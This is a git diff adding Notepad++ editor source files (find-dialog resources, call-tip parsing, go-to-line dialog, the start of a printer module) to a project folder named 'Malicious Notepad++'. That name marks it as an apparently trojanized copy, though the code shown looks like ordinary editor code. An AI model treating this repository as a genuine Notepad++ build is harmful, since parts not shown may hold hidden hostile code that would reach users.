DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW +CAPTION "Find in finder" +FONT 8, "MS Shell Dlg", 0, 0, 0x0 +BEGIN + RTEXT "&Find what :",IDFINDWHAT_STATIC_FIFOLDER,6,22,75,8 + COMBOBOX IDFINDWHAT_FIFOLDER,83,20,178,150,CBS_DROPDOWN | CBS_AUTOHSCROLL | WS_TABSTOP + CONTROL "Search only in found lines",IDC_MATCHLINENUM_CHECK_FIFOLDER,"Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,12,66,99,16 + CONTROL "Match &whole word only",IDWHOLEWORD_FIFOLDER,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,12,88,140,15 + CONTROL "Match &case",IDMATCHCASE_FIFOLDER,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,12,100,140,15 + + GROUPBOX "Search Mode",IDC_MODE_STATIC_FIFOLDER,6,131,159,48 + CONTROL "&Normal",IDNORMAL_FIFOLDER,"Button",BS_AUTORADIOBUTTON | WS_GROUP,12,143,126,10 + CONTROL "E&xtended (\\n, \\r, \\t, \\0, \\x...)",IDEXTENDED_FIFOLDER, "Button",BS_AUTORADIOBUTTON,12,155,145,10 + CONTROL "Re&gular expression",IDREGEXP_FIFOLDER,"Button",BS_AUTORADIOBUTTON,12,167,78,10 + CONTROL "&. matches newline",IDREDOTMATCHNL_FIFOLDER,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,93,167,68,9 + PUSHBUTTON "Find all",IDOK,268,20,90,14,WS_GROUP + PUSHBUTTON "Close",IDCANCEL,268,38,90,14 +END + +#endif //FIND_REPLACE_DLG_RC diff --git a/Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg_rc.h b/Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg_rc.h new file mode 100644 index 0000000..3bde244 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg_rc.h @@ -0,0 +1,140 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef FINDREPLACE_DLG_H +#define FINDREPLACE_DLG_H + +#define IDD_FIND_REPLACE_DLG 1600 +#define IDFINDWHAT 1601 +#define IDREPLACEWITH 1602 +#define IDWHOLEWORD 1603 +#define IDF_WHOLEWORD 1 +#define IDMATCHCASE 1604 +#define IDF_MATCHCASE 2 + +#define IDREGEXP 1605 + +#define IDWRAP 1606 +#define IDF_WRAP 256 +#define IDUNSLASH 1607 +#define IDREPLACE 1608 +#define IDREPLACEALL 1609 +#define IDREPLACEINSEL 1610 +#define ID_STATICTEXT_REPLACE 1611 +//#define IDDIRECTIONUP 1612 +//#define IDDIRECTIONDOWN 1613 +#define IDF_WHICH_DIRECTION 512 +#define IDCCOUNTALL 1614 +#define IDCMARKALL 1615 +#define IDC_MARKLINE_CHECK 1616 +#define IDF_MARKLINE_CHECK 16 +//#define IDC_STYLEFOUND_CHECK 1617 +#define IDF_STYLEFOUND_CHECK 8 +#define IDC_PURGE_CHECK 1618 +#define IDF_PURGE_CHECK 4 +#define IDC_FINDALL_STATIC 1619 +#define IDFINDWHAT_STATIC 1620 +//#define IDC_DIR_STATIC 1621 + +#define IDC_PERCENTAGE_SLIDER 1622 +#define IDC_TRANSPARENT_GRPBOX 1623 + +#define IDC_MODE_STATIC 1624 +#define IDNORMAL 1625 +#define IDEXTENDED 1626 + +#define IDC_FIND_IN_STATIC 1628 +//#define IDC_CURRENT_FILE_RADIO 1629 +//#define IDC_OPENED_FILES_RADIO 1630 +//#define IDC_FILES_RADIO 1631 +#define IDC_IN_SELECTION_CHECK 1632 +#define IDF_IN_SELECTION_CHECK 128 +#define IDC_CLEAR_ALL 1633 +#define IDC_REPLACEINSELECTION 1634 +#define IDC_REPLACE_OPENEDFILES 1635 +#define IDC_FINDALL_OPENEDFILES 1636 +//#define IDC_FINDINFILES 1637 +#define IDC_FINDINFILES_LAUNCH 1638 +#define IDC_GETCURRENTDOCTYPE 1639 +#define IDC_FINDALL_CURRENTFILE 1641 +//#define IDSWITCH 1640 + +#define IDD_FINDINFILES_DLG 1650 +#define IDD_FINDINFILES_BROWSE_BUTTON 1651 +#define IDD_FINDINFILES_FILTERS_COMBO 1652 +#define IDD_FINDINFILES_DIR_COMBO 1653 +#define IDD_FINDINFILES_FILTERS_STATIC 1654 +#define IDD_FINDINFILES_DIR_STATIC 1655 +#define IDD_FINDINFILES_FIND_BUTTON 1656 +#define IDD_FINDINFILES_GOBACK_BUTTON 1657 +#define IDD_FINDINFILES_RECURSIVE_CHECK 1658 +#define IDF_FINDINFILES_RECURSIVE_CHECK 32 +#define IDD_FINDINFILES_INHIDDENDIR_CHECK 1659 +#define IDF_FINDINFILES_INHIDDENDIR_CHECK 64 +#define IDD_FINDINFILES_REPLACEINFILES 1660 +#define IDD_FINDINFILES_FOLDERFOLLOWSDOC_CHECK 1661 + +#define IDD_FINDRESULT 1670 + +#define IDD_INCREMENT_FIND 1680 +#define IDC_INCSTATIC 1681 +#define IDC_INCFINDTEXT 1682 +#define IDC_INCFINDPREVOK 1683 +#define IDC_INCFINDNXTOK 1684 +#define IDC_INCFINDMATCHCASE 1685 +#define IDC_TRANSPARENT_CHECK 1686 +#define IDC_TRANSPARENT_LOSSFOCUS_RADIO 1687 +#define IDC_TRANSPARENT_ALWAYS_RADIO 1688 +#define IDC_INCFINDSTATUS 1689 +#define IDC_INCFINDHILITEALL 1690 + +#define IDB_INCREMENTAL_BG 1691 + + +#define IDC_FRCOMMAND_INIT 1700 +#define IDC_FRCOMMAND_EXEC 1701 +#define IDC_FRCOMMAND_BOOLEANS 1702 + +#define IDREDOTMATCHNL 1703 +#define IDF_REDOTMATCHNL 1024 + +#define IDD_FINDINFINDER_DLG 1710 +#define IDFINDWHAT_STATIC_FIFOLDER 1711 +#define IDFINDWHAT_FIFOLDER 1712 +#define IDC_MATCHLINENUM_CHECK_FIFOLDER 1713 +#define IDWHOLEWORD_FIFOLDER 1714 +#define IDMATCHCASE_FIFOLDER 1715 +#define IDC_MODE_STATIC_FIFOLDER 1716 +#define IDNORMAL_FIFOLDER 1717 +#define IDEXTENDED_FIFOLDER 1718 +#define IDREGEXP_FIFOLDER 1719 +#define IDREDOTMATCHNL_FIFOLDER 1720 +//#define IDC_FINDPREV 1721 +#define IDC_BACKWARDDIRECTION 1722 + +#endif //FINDREPLACE_DLG_H diff --git a/Malicious Notepad++/src/ScitillaComponent/FunctionCallTip.cpp b/Malicious Notepad++/src/ScitillaComponent/FunctionCallTip.cpp new file mode 100644 index 0000000..1a07b8a --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/FunctionCallTip.cpp @@ -0,0 +1,462 @@ +// this file is part of Notepad++ +// Copyright (C)2008 Harry Bruin +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "FunctionCallTip.h" + + +struct Token { + TCHAR * token; + int length; + bool isIdentifier; + Token(TCHAR * tok, int len, bool isID) : token(tok), length(len), isIdentifier(isID) {}; +}; + +struct FunctionValues { + int lastIdentifier; + int lastFunctionIdentifier; + int param; + int scopeLevel; + FunctionValues() : lastIdentifier(-1), lastFunctionIdentifier(-1), param(0), scopeLevel(-1) {}; +}; + +inline bool lower(TCHAR c) { + return (c >= 'a' && c <= 'z'); +} + +inline bool match(TCHAR c1, TCHAR c2) { + if (c1 == c2) return true; + if (lower(c1)) + return ((c1-32) == c2); + if (lower(c2)) + return ((c2-32) == c1); + return false; +} + +//test string case insensitive ala Scintilla +//0 if equal, <0 of before, >0 if after (name1 that is) +int testNameNoCase(const TCHAR * name1, const TCHAR * name2, int len = -1) { + if (len == -1) { + len = 1024; //magic value, but it probably fails way before it reaches this + } + int i = 0; + while(match(name1[i], name2[i])) { + if (name1[i] == 0 || i == len) { + return 0; //equal + } + ++i; + } + + int subs1 = lower(name1[i])?32:0; + int subs2 = lower(name2[i])?32:0; + + return ( (name1[i]-subs1) - (name2[i]-subs2) ); +} + +void FunctionCallTip::setLanguageXML(TiXmlElement * pXmlKeyword) { + if (isVisible()) + close(); + _pXmlKeyword = pXmlKeyword; + + // Clear all buffered values, because they may point to freed memory area. + reset(); + + // Also clear _funcName so that next getCursorFunction will call loadFunction to parse XML structure + if (_funcName) + delete [] _funcName; + _funcName = 0; +} + +bool FunctionCallTip::updateCalltip(int ch, bool needShown) +{ + if (not needShown && ch != _start && ch != _param && not isVisible()) //must be already visible + return false; + + _curPos = static_cast(_pEditView->execute(SCI_GETCURRENTPOS)); + + //recalculate everything + if (not getCursorFunction()) + { //cannot display calltip (anymore) + close(); + return false; + } + showCalltip(); + return true; +} + +void FunctionCallTip::showNextOverload() { + if (!isVisible()) + return; + _currentOverload = (_currentOverload+1) % _currentNbOverloads; + showCalltip(); +} + +void FunctionCallTip::showPrevOverload() { + if (!isVisible()) + return; + _currentOverload = _currentOverload > 0 ? (_currentOverload-1) : (_currentNbOverloads-1); + showCalltip(); +} + +void FunctionCallTip::close() +{ + if (!isVisible() || !_selfActivated) + return; + + _pEditView->execute(SCI_CALLTIPCANCEL); + _selfActivated = false; + _currentOverload = 0; +} + +bool FunctionCallTip::getCursorFunction() +{ + auto line = _pEditView->execute(SCI_LINEFROMPOSITION, _curPos); + int startpos = static_cast(_pEditView->execute(SCI_POSITIONFROMLINE, line)); + int endpos = static_cast(_pEditView->execute(SCI_GETLINEENDPOSITION, line)); + int len = endpos - startpos + 3; //also take CRLF in account, even if not there + int offset = _curPos - startpos; //offset is cursor location, only stuff before cursor has influence + const int maxLen = 256; + + if ((offset < 2) || (len >= maxLen)) + { + reset(); + return false; //cannot be a func, need name and separator + } + + TCHAR lineData[maxLen] = TEXT(""); + + _pEditView->getLine(line, lineData, len); + + //line aquired, find the functionname + //first split line into tokens to parse + //token is identifier or some expression, whitespace is ignored + std::vector< Token > tokenVector; + int tokenLen = 0; + TCHAR ch; + for (int i = 0; i < offset; ++i) //we dont care about stuff after the offset + { + //tokenVector.push_back(pair(lineData+i, len)); + ch = lineData[i]; + if (isBasicWordChar(ch) || isAdditionalWordChar(ch)) //part of identifier + { + tokenLen = 0; + TCHAR * begin = lineData+i; + while ((isBasicWordChar(ch) || isAdditionalWordChar(ch)) && i < offset) + { + ++tokenLen; + ++i; + ch = lineData[i]; + } + tokenVector.push_back(Token(begin, tokenLen, true)); + i--; //correct overshooting of while loop + } + else + { + if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\r') //whitespace + { + //do nothing + } + else + { + tokenLen = 1; + tokenVector.push_back(Token(lineData+i, tokenLen, false)); + } + } + } + + size_t vsize = tokenVector.size(); + //mind nested funcs, like |blblb a (x, b(), c);| + //therefore, use stack + std::vector valueVec; + + FunctionValues curValue, newValue; + int scopeLevel = 0; + for (size_t i = 0; i < vsize; ++i) + { + Token & curToken = tokenVector.at(i); + if (curToken.isIdentifier) + { + curValue.lastIdentifier = static_cast(i); + } + else + { + if (curToken.token[0] == _start) + { + ++scopeLevel; + newValue = curValue; + valueVec.push_back(newValue); //store the current settings, so when this new function doesnt happen to be the 'real' one, we can restore everything + + curValue.scopeLevel = scopeLevel; + if (i > 0 && curValue.lastIdentifier == static_cast(i) - 1) + { //identifier must be right before (, else we have some expression like "( x + y() )" + curValue.lastFunctionIdentifier = curValue.lastIdentifier; + curValue.param = 0; + } + else + { //some expression + curValue.lastFunctionIdentifier = -1; + } + } + else if (curToken.token[0] == _param && curValue.lastFunctionIdentifier > -1) + { + ++curValue.param; + } + else if (curToken.token[0] == _stop) + { + if (scopeLevel) //scope cannot go below -1 + scopeLevel--; + if (valueVec.size() > 0) + { //only pop level if scope was of actual function + curValue = valueVec.back(); + valueVec.pop_back(); + } + else + { + //invalidate curValue + curValue = FunctionValues(); + } + } + else if (curToken.token[0] == _terminal) + { + //invalidate everything + valueVec.clear(); + curValue = FunctionValues(); + } + } + } + + bool res = false; + + if (curValue.lastFunctionIdentifier == -1) + { //not in direct function. Start popping the stack untill we empty it, or a func IS found + while(curValue.lastFunctionIdentifier == -1 && valueVec.size() > 0) + { + curValue = valueVec.back(); + valueVec.pop_back(); + } + } + if (curValue.lastFunctionIdentifier > -1) + { + Token funcToken = tokenVector.at(curValue.lastFunctionIdentifier); + funcToken.token[funcToken.length] = 0; + _currentParam = curValue.param; + + bool same = false; + if (_funcName) + { + if(_ignoreCase) + same = testNameNoCase(_funcName, funcToken.token, lstrlen(_funcName)) == 0; + else + same = generic_strncmp(_funcName, funcToken.token, lstrlen(_funcName)) == 0; + } + if (!same) + { //check if we need to reload data + if (_funcName) + { + delete [] _funcName; + } + _funcName = new TCHAR[funcToken.length+1]; + lstrcpy(_funcName, funcToken.token); + res = loadFunction(); + } + else + { + res = true; + } + } + return res; +} + +/* +Find function in XML structure and parse it +*/ +bool FunctionCallTip::loadFunction() +{ + reset(); //set everything back to 0 + //The functions should be ordered, but linear search because we cant access like array + _curFunction = NULL; + //Iterate through all keywords and find the correct function keyword + TiXmlElement *funcNode = _pXmlKeyword; + + for (; funcNode; funcNode = funcNode->NextSiblingElement(TEXT("KeyWord"))) + { + const TCHAR * name = NULL; + name = funcNode->Attribute(TEXT("name")); + if (!name) //malformed node + continue; + int compVal = 0; + if (_ignoreCase) + compVal = testNameNoCase(name, _funcName); //lstrcmpi doesnt work in this case + else + compVal = lstrcmp(name, _funcName); + if (!compVal) //found it! + { + const TCHAR * val = funcNode->Attribute(TEXT("func")); + if (val) + { + if (!lstrcmp(val, TEXT("yes"))) + { + //what we've been looking for + _curFunction = funcNode; + break; + } + else + { + //name matches, but not a function, abort the entire procedure + return false; + } + } + } + } + + //Nothing found + if (!_curFunction) + return false; + + stringVec paramVec; + + TiXmlElement *overloadNode = _curFunction->FirstChildElement(TEXT("Overload")); + TiXmlElement *paramNode = NULL; + for (; overloadNode ; overloadNode = overloadNode->NextSiblingElement(TEXT("Overload")) ) { + const TCHAR * retVal = overloadNode->Attribute(TEXT("retVal")); + if (!retVal) + continue; //malformed node + _retVals.push_back(retVal); + + const TCHAR * description = overloadNode->Attribute(TEXT("descr")); + if (description) + _descriptions.push_back(description); + else + _descriptions.push_back(TEXT("")); //"no description available" + + paramNode = overloadNode->FirstChildElement(TEXT("Param")); + for (; paramNode ; paramNode = paramNode->NextSiblingElement(TEXT("Param")) ) { + const TCHAR * param = paramNode->Attribute(TEXT("name")); + if (!param) + continue; //malformed node + paramVec.push_back(param); + } + _overloads.push_back(paramVec); + paramVec.clear(); + + ++_currentNbOverloads; + } + + _currentNbOverloads = _overloads.size(); + + if (_currentNbOverloads == 0) //malformed node + return false; + + return true; +} + +void FunctionCallTip::showCalltip() +{ + if (_currentNbOverloads == 0) + { + //ASSERT + return; + } + + //Check if the current overload still holds. If the current param exceeds amounti n overload, see if another one fits better (enough params) + stringVec & params = _overloads.at(_currentOverload); + size_t psize = params.size()+1; + if ((size_t)_currentParam >= psize) + { + size_t osize = _overloads.size(); + for(size_t i = 0; i < osize; ++i) + { + psize = _overloads.at(i).size()+1; + if ((size_t)_currentParam < psize) + { + _currentOverload = static_cast(i); + break; + } + } + } + + generic_stringstream callTipText; + + if (_currentNbOverloads > 1) + { + callTipText << TEXT("\001") << _currentOverload + 1 << TEXT(" of ") << _currentNbOverloads << TEXT("\002"); + } + + callTipText << _retVals.at(_currentOverload) << TEXT(' ') << _funcName << TEXT(' ') << _start; + + int highlightstart = 0; + int highlightend = 0; + size_t nbParams = params.size(); + for (size_t i = 0; i < nbParams; ++i) + { + if (int(i) == _currentParam) + { + highlightstart = static_cast(callTipText.str().length()); + highlightend = highlightstart + lstrlen(params.at(i)); + } + callTipText << params.at(i); + if (i < nbParams - 1) + callTipText << _param << TEXT(' '); + } + + callTipText << _stop; + if (_descriptions.at(_currentOverload)[0]) + { + callTipText << TEXT("\n") << _descriptions.at(_currentOverload); + } + + if (isVisible()) + _pEditView->execute(SCI_CALLTIPCANCEL); + else + _startPos = _curPos; + _pEditView->showCallTip(_startPos, callTipText.str().c_str()); + + _selfActivated = true; + if (highlightstart != highlightend) + { + _pEditView->execute(SCI_CALLTIPSETHLT, highlightstart, highlightend); + } +} + +void FunctionCallTip::reset() { + _currentOverload = 0; + _currentParam = 0; + //_curPos = 0; + _startPos = 0; + _overloads.clear(); + _currentNbOverloads = 0; + _retVals.clear(); + _descriptions.clear(); +} + +void FunctionCallTip::cleanup() { + reset(); + if (_funcName) + delete [] _funcName; + _funcName = 0; + _pEditView = NULL; +} diff --git a/Malicious Notepad++/src/ScitillaComponent/FunctionCallTip.h b/Malicious Notepad++/src/ScitillaComponent/FunctionCallTip.h new file mode 100644 index 0000000..3e76784 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/FunctionCallTip.h @@ -0,0 +1,92 @@ +// this file is part of Notepad++ +// Copyright (C)2008 Harry Bruin +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#ifndef FUNCTIONCALLTIP_H +#define FUNCTIONCALLTIP_H + +#ifndef SCINTILLA_EDIT_VIEW_H +#include "ScintillaEditView.h" +#endif //SCINTILLA_EDIT_VIEW_H + +typedef std::vector stringVec; + +class FunctionCallTip { + friend class AutoCompletion; +public: + explicit FunctionCallTip(ScintillaEditView * pEditView) : _pEditView(pEditView) {}; + ~FunctionCallTip() {/* cleanup(); */}; + void setLanguageXML(TiXmlElement * pXmlKeyword); //set calltip keyword node + bool updateCalltip(int ch, bool needShown = false); //Ch is character typed, or 0 if another event occured. NeedShown is true if calltip should be attempted to displayed. Return true if calltip was made visible + void showNextOverload(); //show next overlaoded parameters + void showPrevOverload(); //show prev overlaoded parameters + bool isVisible() { return _pEditView?_pEditView->execute(SCI_CALLTIPACTIVE) == TRUE:false; }; //true if calltip visible + void close(); //Close calltip if visible + +private: + ScintillaEditView * _pEditView = nullptr; //Scintilla to display calltip in + TiXmlElement * _pXmlKeyword = nullptr; //current keyword node (first one) + + int _curPos = 0; //cursor position + int _startPos = 0; //display start position + + TiXmlElement * _curFunction = nullptr; //current function element + //cache some XML values n stuff + TCHAR * _funcName = nullptr; //name of function + stringVec _retVals; //vector of overload return values/types + std::vector _overloads; //vector of overload params (=vector) + stringVec _descriptions; //vecotr of function descriptions + size_t _currentNbOverloads = 0; //current amount of overloads + size_t _currentOverload = 0; //current chosen overload + int _currentParam = 0; //current highlighted param + + TCHAR _start = '('; + TCHAR _stop = ')'; + TCHAR _param = ','; + TCHAR _terminal = ';'; + generic_string _additionalWordChar = TEXT(""); + bool _ignoreCase = true; + bool _selfActivated = false; + + bool getCursorFunction(); //retrieve data about function at cursor. Returns true if a function was found. Calls loaddata if needed + bool loadFunction(); //returns true if the function can be found + void showCalltip(); //display calltip based on current variables + void reset(); //reset all vars in case function is invalidated + void cleanup(); //delete any leftovers + bool isBasicWordChar(TCHAR ch) const { + return (ch >= 'A' && ch <= 'Z' || ch >= 'a' && ch <= 'z' || ch >= '0' && ch <= '9' || ch == '_'); + }; + bool isAdditionalWordChar(TCHAR ch) const { + const TCHAR *addChars = _additionalWordChar.c_str(); + size_t len = _additionalWordChar.length(); + for (size_t i = 0 ; i < len ; ++i) + if (ch == addChars[i]) + return true; + return false; + }; +}; + +#endif// FUNCTIONCALLTIP_H diff --git a/Malicious Notepad++/src/ScitillaComponent/GoToLineDlg.cpp b/Malicious Notepad++/src/ScitillaComponent/GoToLineDlg.cpp new file mode 100644 index 0000000..ea02f2d --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/GoToLineDlg.cpp @@ -0,0 +1,142 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "GoToLineDlg.h" + + +INT_PTR CALLBACK GoToLineDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + switch (message) + { + case WM_INITDIALOG : + { + ::SendDlgItemMessage(_hSelf, IDC_RADIO_GOTOLINE, BM_SETCHECK, TRUE, 0); + goToCenter(); + return TRUE; + } + case WM_COMMAND : + { + switch (wParam) + { + case IDCANCEL : // Close + display(false); + cleanLineEdit(); + return TRUE; + + case IDOK : + { + int line = getLine(); + if (line != -1) + { + display(false); + cleanLineEdit(); + if (_mode == go2line) + { + (*_ppEditView)->execute(SCI_ENSUREVISIBLE, line-1); + (*_ppEditView)->execute(SCI_GOTOLINE, line-1); + } + else + { + auto sci_line = (*_ppEditView)->execute(SCI_LINEFROMPOSITION, line); + (*_ppEditView)->execute(SCI_ENSUREVISIBLE, sci_line); + (*_ppEditView)->execute(SCI_GOTOPOS, line); + } + } + + SCNotification notification = {}; + notification.nmhdr.code = SCN_PAINTED; + notification.nmhdr.hwndFrom = _hSelf; + notification.nmhdr.idFrom = ::GetDlgCtrlID(_hSelf); + ::SendMessage(_hParent, WM_NOTIFY, LINKTRIGGERED, reinterpret_cast(¬ification)); + + (*_ppEditView)->getFocus(); + return TRUE; + } + + case IDC_RADIO_GOTOLINE : + case IDC_RADIO_GOTOOFFSET : + { + + bool isLine, isOffset; + if (wParam == IDC_RADIO_GOTOLINE) + { + isLine = true; + isOffset = false; + _mode = go2line; + } + else + { + isLine = false; + isOffset = true; + _mode = go2offsset; + } + ::SendDlgItemMessage(_hSelf, IDC_RADIO_GOTOLINE, BM_SETCHECK, isLine, 0); + ::SendDlgItemMessage(_hSelf, IDC_RADIO_GOTOOFFSET, BM_SETCHECK, isOffset, 0); + updateLinesNumbers(); + return TRUE; + } + default : + { + switch (HIWORD(wParam)) + { + case EN_SETFOCUS : + case BN_SETFOCUS : + updateLinesNumbers(); + return TRUE; + default : + return TRUE; + } + break; + } + } + } + + default : + return FALSE; + } +} + +void GoToLineDlg::updateLinesNumbers() const +{ + unsigned int current = 0; + unsigned int limit = 0; + + if (_mode == go2line) + { + current = static_cast((*_ppEditView)->getCurrentLineNumber() + 1); + limit = static_cast((*_ppEditView)->execute(SCI_GETLINECOUNT)); + } + else + { + current = static_cast((*_ppEditView)->execute(SCI_GETCURRENTPOS)); + limit = static_cast((*_ppEditView)->getCurrentDocLen() - 1); + } + ::SetDlgItemInt(_hSelf, ID_CURRLINE, current, FALSE); + ::SetDlgItemInt(_hSelf, ID_LASTLINE, limit, FALSE); +} + diff --git a/Malicious Notepad++/src/ScitillaComponent/GoToLineDlg.h b/Malicious Notepad++/src/ScitillaComponent/GoToLineDlg.h new file mode 100644 index 0000000..1240831 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/GoToLineDlg.h @@ -0,0 +1,82 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once +#include "resource.h" +#include "ScintillaEditView.h" + +class GoToLineDlg : public StaticDialog +{ +public : + GoToLineDlg() : StaticDialog() {}; + + void init(HINSTANCE hInst, HWND hPere, ScintillaEditView **ppEditView) { + Window::init(hInst, hPere); + if (!ppEditView) + throw std::runtime_error("GoToLineDlg::init : ppEditView is null."); + _ppEditView = ppEditView; + }; + + virtual void create(int dialogID, bool isRTL = false, bool msgDestParent = true) { + StaticDialog::create(dialogID, isRTL, msgDestParent); + }; + + void doDialog(bool isRTL = false) { + if (!isCreated()) + create(IDD_GOLINE, isRTL); + display(); + }; + + virtual void display(bool toShow = true) const { + Window::display(toShow); + if (toShow) + ::SetFocus(::GetDlgItem(_hSelf, ID_GOLINE_EDIT)); + }; + +protected : + enum mode {go2line, go2offsset}; + mode _mode = go2line; + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + +private : + ScintillaEditView **_ppEditView = nullptr; + + void updateLinesNumbers() const; + + void cleanLineEdit() const { + ::SetDlgItemText(_hSelf, ID_GOLINE_EDIT, TEXT("")); + }; + + int getLine() const { + BOOL isSuccessful; + int line = ::GetDlgItemInt(_hSelf, ID_GOLINE_EDIT, &isSuccessful, FALSE); + return (isSuccessful?line:-1); + }; + +}; + diff --git a/Malicious Notepad++/src/ScitillaComponent/Printer.cpp b/Malicious Notepad++/src/ScitillaComponent/Printer.cpp new file mode 100644 index 0000000..f663b20 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/Printer.cpp @@ -0,0 +1,515 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "Printer.h" +#include "RunDlg.h" +//#include "Parameters.h" + +void replaceStr(generic_string & str, generic_string str2BeReplaced, generic_string replacement) +{ + size_t pos = str.find(str2BeReplaced); + + if (pos != str.npos) + str.replace(pos, str2BeReplaced.length(), replacement); +} + +void Printer::init(HINSTANCE hInst, HWND hwnd, ScintillaEditView *pSEView, bool showDialog, int startPos, int endPos, bool isRTL) +{ + _pSEView = pSEView; + _startPos = startPos; + _endPos = endPos; + _pdlg.lStructSize = sizeof(PRINTDLG); + _pdlg.hwndOwner = hwnd; + _pdlg.hInstance = hInst; + _pdlg.Flags = PD_USEDEVMODECOPIES | PD_ALLPAGES | PD_RETURNDC; + 